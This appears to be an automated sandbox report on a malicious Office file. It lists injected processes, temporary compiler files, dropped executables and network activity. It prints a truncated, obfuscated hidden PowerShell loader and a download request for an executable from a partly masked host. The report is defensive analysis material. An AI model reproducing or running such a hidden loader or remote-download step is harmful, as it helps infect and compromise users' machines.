Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r5efb {param($ff5e5)$wa2c98='p14a2';$he5c7ad='';for ($i=0; $i -lt $ff5e5.length;$i+=2){$u45fe2=[convert]::ToByte($ff5e5.Substring($i,2),16);$he5c7ad+=[char]($u45f...
Injects code into
the following user processes:
- p11d4c.exe
Modifies file system
Creates the following files
- %TEMP%\flegygtr.0.cs
- %TEMP%\2uqncrwp.0.cs
- %TEMP%\b3yma5nl.dll
- %TEMP%\res42d3.tmp
- %TEMP%\csc42b3.tmp
- %TEMP%\b3yma5nl.out
- %TEMP%\b3yma5nl.cmdline
- %TEMP%\b3yma5nl.0.cs
- %TEMP%\4qgomlud.dll
- %TEMP%\resb87.tmp
- %TEMP%\cscb19.tmp
- %TEMP%\4qgomlud.out
- %TEMP%\4qgomlud.cmdline
- %TEMP%\4qgomlud.0.cs
- %TEMP%\flrjv68g.dll
- %TEMP%\rese542.tmp
- %TEMP%\csce522.tmp
- %TEMP%\flrjv68g.out
- %TEMP%\flrjv68g.cmdline
- %TEMP%\flrjv68g.0.cs
- %TEMP%\resbb35.tmp
- %TEMP%\ebyqmjzy.dll
- %TEMP%\2uqncrwp.cmdline
- %TEMP%\2uqncrwp.out
- %TEMP%\resd7b1.tmp
- %TEMP%\cscd7b0.tmp
- %TEMP%\_o8golrv.out
- %TEMP%\_o8golrv.cmdline
- %TEMP%\_o8golrv.0.cs
- %TEMP%\jslq9uoa.dll
- %TEMP%\resae10.tmp
- %TEMP%\cscae00.tmp
- %TEMP%\jslq9uoa.out
- %TEMP%\jslq9uoa.0.cs
- %TEMP%\szuwgy9f.out
- %TEMP%\adjljqzi.dll
- %TEMP%\resa391.tmp
- %TEMP%\csca371.tmp
- %TEMP%\adjljqzi.out
- %TEMP%\adjljqzi.cmdline
- %TEMP%\adjljqzi.0.cs
- %TEMP%\2uqncrwp.dll
- %TEMP%\res6475.tmp
- %TEMP%\csc6445.tmp
- %TEMP%\cscbb24.tmp
- %TEMP%\ebyqmjzy.out
- %TEMP%\ebyqmjzy.cmdline
- %TEMP%\8twhuwmv.0.cs
- %TEMP%\sohxad1o.dll
- %TEMP%\resdd58.tmp
- %TEMP%\cscdd57.tmp
- %TEMP%\sohxad1o.out
- %TEMP%\sohxad1o.cmdline
- %TEMP%\sohxad1o.0.cs
- %TEMP%\flegygtr.dll
- %TEMP%\resc52c.tmp
- %TEMP%\rawfqsys.dll
- %TEMP%\resc490.tmp
- %TEMP%\cscc50c.tmp
- %TEMP%\cscc47f.tmp
- %TEMP%\rawfqsys.out
- %TEMP%\rawfqsys.cmdline
- %TEMP%\rawfqsys.0.cs
- %TEMP%\flegygtr.out
- %TEMP%\flegygtr.cmdline
- %TEMP%\8twhuwmv.out
- %TEMP%\cscf321.tmp
- %TEMP%\8twhuwmv.cmdline
- %TEMP%\resf341.tmp
- %TEMP%\ebyqmjzy.0.cs
- %TEMP%\8twhuwmv.dll
- %TEMP%\gp5dkw10.dll
- %TEMP%\res8986.tmp
- %TEMP%\csc8937.tmp
- %TEMP%\gp5dkw10.out
- %TEMP%\gp5dkw10.cmdline
- %TEMP%\gp5dkw10.0.cs
- %TEMP%\szuwgy9f.dll
- %TEMP%\res6890.tmp
- %TEMP%\jslq9uoa.cmdline
- %TEMP%\_o8golrv.dll
- %TEMP%\szuwgy9f.cmdline
- %TEMP%\szuwgy9f.0.cs
- %APPDATA%\p11d4c.exe
- %TEMP%\fzn_jt7k.dll
- %TEMP%\res18ea.tmp
- %TEMP%\csc18d9.tmp
- %TEMP%\fzn_jt7k.out
- %TEMP%\fzn_jt7k.cmdline
- %TEMP%\fzn_jt7k.0.cs
- %TEMP%\csc6860.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2b7c34ca-1d51-4a5f-bcbf-5da6b42de512}.tmp
Deletes the following files
- %TEMP%\resc490.tmp
- %TEMP%\b3yma5nl.pdb
- %TEMP%\b3yma5nl.cmdline
- %TEMP%\b3yma5nl.out
- %TEMP%\b3yma5nl.dll
- %TEMP%\csc42b3.tmp
- %TEMP%\res42d3.tmp
- %TEMP%\4qgomlud.out
- %TEMP%\4qgomlud.cmdline
- %TEMP%\4qgomlud.pdb
- %TEMP%\4qgomlud.dll
- %TEMP%\b3yma5nl.0.cs
- %TEMP%\4qgomlud.0.cs
- %TEMP%\resb87.tmp
- %TEMP%\flrjv68g.out
- %TEMP%\flrjv68g.cmdline
- %TEMP%\flrjv68g.pdb
- %TEMP%\flrjv68g.0.cs
- %TEMP%\flrjv68g.dll
- %TEMP%\csce522.tmp
- %TEMP%\rese542.tmp
- %TEMP%\ebyqmjzy.pdb
- %TEMP%\ebyqmjzy.out
- %TEMP%\cscb19.tmp
- %TEMP%\res6475.tmp
- %TEMP%\csc6445.tmp
- %TEMP%\2uqncrwp.pdb
- %TEMP%\_o8golrv.cmdline
- %TEMP%\_o8golrv.0.cs
- %TEMP%\_o8golrv.out
- %TEMP%\cscd7b0.tmp
- %TEMP%\resd7b1.tmp
- %TEMP%\jslq9uoa.cmdline
- %TEMP%\jslq9uoa.0.cs
- %TEMP%\jslq9uoa.out
- %TEMP%\jslq9uoa.pdb
- %TEMP%\jslq9uoa.dll
- %TEMP%\cscae00.tmp
- %TEMP%\resae10.tmp
- %TEMP%\adjljqzi.cmdline
- %TEMP%\adjljqzi.pdb
- %TEMP%\adjljqzi.dll
- %TEMP%\adjljqzi.out
- %TEMP%\adjljqzi.0.cs
- %TEMP%\csca371.tmp
- %TEMP%\resa391.tmp
- %TEMP%\2uqncrwp.0.cs
- %TEMP%\2uqncrwp.dll
- %TEMP%\2uqncrwp.out
- %TEMP%\2uqncrwp.cmdline
- %TEMP%\ebyqmjzy.0.cs
- %TEMP%\_o8golrv.pdb
- %TEMP%\ebyqmjzy.dll
- %TEMP%\cscbb24.tmp
- %TEMP%\cscf321.tmp
- %TEMP%\resf341.tmp
- %TEMP%\sohxad1o.cmdline
- %TEMP%\sohxad1o.out
- %TEMP%\sohxad1o.dll
- %TEMP%\sohxad1o.pdb
- %TEMP%\sohxad1o.0.cs
- %TEMP%\cscdd57.tmp
- %TEMP%\resdd58.tmp
- %TEMP%\flegygtr.0.cs
- %TEMP%\8twhuwmv.dll
- %TEMP%\flegygtr.dll
- %TEMP%\flegygtr.out
- %TEMP%\flegygtr.pdb
- %TEMP%\rawfqsys.cmdline
- %TEMP%\rawfqsys.0.cs
- %TEMP%\rawfqsys.dll
- %TEMP%\rawfqsys.out
- %TEMP%\rawfqsys.pdb
- %TEMP%\cscc50c.tmp
- %TEMP%\resc52c.tmp
- %TEMP%\cscc47f.tmp
- %TEMP%\flegygtr.cmdline
- %TEMP%\8twhuwmv.out
- %TEMP%\8twhuwmv.0.cs
- %TEMP%\8twhuwmv.pdb
- %TEMP%\resbb35.tmp
- %TEMP%\gp5dkw10.pdb
- %TEMP%\gp5dkw10.out
- %TEMP%\gp5dkw10.dll
- %TEMP%\gp5dkw10.cmdline
- %TEMP%\gp5dkw10.0.cs
- %TEMP%\csc8937.tmp
- %TEMP%\res8986.tmp
- %TEMP%\szuwgy9f.0.cs
- %TEMP%\szuwgy9f.pdb
- %TEMP%\szuwgy9f.out
- %TEMP%\szuwgy9f.cmdline
- %TEMP%\szuwgy9f.dll
- %TEMP%\csc6860.tmp
- %TEMP%\res6890.tmp
- %TEMP%\fzn_jt7k.pdb
- %TEMP%\fzn_jt7k.0.cs
- %TEMP%\fzn_jt7k.out
- %TEMP%\fzn_jt7k.cmdline
- %TEMP%\fzn_jt7k.dll
- %TEMP%\csc18d9.tmp
- %TEMP%\res18ea.tmp
- %TEMP%\8twhuwmv.cmdline
- %TEMP%\ebyqmjzy.cmdline
- %TEMP%\_o8golrv.dll
Network activity
TCP
HTTP GET requests
- http://11.##ahesse.com/d211.exe
UDP
- DNS ASK 11.##ahesse.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\p11d4c.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r5efb {param($ff5e5)$wa2c98='p14a2';$he5c7ad='';for ($i=0; $i -lt $ff5e5.length;$i+=2){$u45fe2=[convert]::ToByte($ff5e5.Substring($i,2),16);$he5c7ad+=[char]($u45f...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE10.tmp" "%TEMP%\CSCAE00.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jslq9uoa.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA391.tmp" "%TEMP%\CSCA371.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\adjljqzi.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6475.tmp" "%TEMP%\CSC6445.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2uqncrwp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42D3.tmp" "%TEMP%\CSC42B3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b3yma5nl.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB87.tmp" "%TEMP%\CSCB19.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4qgomlud.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE542.tmp" "%TEMP%\CSCE522.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\flrjv68g.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB35.tmp" "%TEMP%\CSCBB24.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ebyqmjzy.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8986.tmp" "%TEMP%\CSC8937.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gp5dkw10.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6890.tmp" "%TEMP%\CSC6860.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szuwgy9f.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES18EA.tmp" "%TEMP%\CSC18D9.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fzn_jt7k.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF341.tmp" "%TEMP%\CSCF321.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8twhuwmv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDD58.tmp" "%TEMP%\CSCDD57.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sohxad1o.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC52C.tmp" "%TEMP%\CSCC50C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC490.tmp" "%TEMP%\CSCC47F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rawfqsys.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\flegygtr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_o8golrv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD7B1.tmp" "%TEMP%\CSCD7B0.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_o8golrv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE10.tmp" "%TEMP%\CSCAE00.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jslq9uoa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA391.tmp" "%TEMP%\CSCA371.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\adjljqzi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6475.tmp" "%TEMP%\CSC6445.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2uqncrwp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42D3.tmp" "%TEMP%\CSC42B3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b3yma5nl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB87.tmp" "%TEMP%\CSCB19.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4qgomlud.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE542.tmp" "%TEMP%\CSCE522.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\flrjv68g.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB35.tmp" "%TEMP%\CSCBB24.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ebyqmjzy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8986.tmp" "%TEMP%\CSC8937.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gp5dkw10.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6890.tmp" "%TEMP%\CSC6860.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szuwgy9f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES18EA.tmp" "%TEMP%\CSC18D9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fzn_jt7k.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF341.tmp" "%TEMP%\CSCF321.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8twhuwmv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDD58.tmp" "%TEMP%\CSCDD57.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sohxad1o.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC52C.tmp" "%TEMP%\CSCC50C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC490.tmp" "%TEMP%\CSCC47F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rawfqsys.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\flegygtr.cmdline"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD7B1.tmp" "%TEMP%\CSCD7B0.tmp"
